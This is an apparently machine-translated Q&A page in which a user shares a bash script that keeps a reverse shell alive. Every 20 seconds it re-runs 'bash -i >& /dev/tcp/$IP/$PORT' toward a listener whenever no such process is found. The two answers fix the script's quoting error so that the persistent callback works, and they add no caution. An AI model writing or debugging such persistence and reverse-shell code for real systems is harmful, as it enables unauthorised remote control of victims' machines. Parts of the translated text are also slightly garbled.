所以,如果程序尚未运行,我正在尝试使用bash编写一个bash脚本来通过反向shell来回拨到某个IP。它应该每20秒检查一次,看看进程是否存活,如果不存在,它将执行shell。但是,当我尝试执行我的程序时,我收到错误./ReverseShell.sh: line 9: [: ps -ef | grep "bash -i" | grep -v grep | wc -l: integer expression expected
。这是因为我在if语句中使用-eq。当我用=替换-eq时,程序会编译,但无论如何都会计算为0。
我做错了什么?我的代码如下。
#!/bin/bash
#A small program designed to establish and keep a reverse shell open
IP="" #Insert your IP here
PORT="" #Insert the Port you're listening on here.
while(true); do
if [ 'ps -ef | grep "bash -i" | grep -v grep | wc -l' -eq 0 ]
then
echo "Process not found, launching reverse shell to $IP on port $PORT"
bash -i >& /dev/tcp/$IP/$PORT 0>&1
sleep 20
else
echo "Process found, sleeping for 20 seconds..."
ps -ef | grep "bash -i" | grep -v "grep" | wc -l
sleep 20
fi
done
答案 0 :(得分:1)
您的代码需要进行少量更改。 你必须使用倾斜" `"而不是单引号" '' "在里面如果。
if [ `ps -ef | grep "bash -i" | grep -v grep | wc -l` -eq 0 ]
这对我有用。希望它也能帮到你。
答案 1 :(得分:1)
除了评论中提到的拼写错误,它应该是:
if ! pgrep -f 'bash -i' > /dev/null ; then
echo "process not found"
else
echo "process found"
fi
如果pgrep
发现至少1个进程并且如果没有找到进程则返回虚假退出状态,则if
会发出真正的退出状态,您可以直接在[
条件中使用它。 <{1}}(这是一个命令)不是必需的。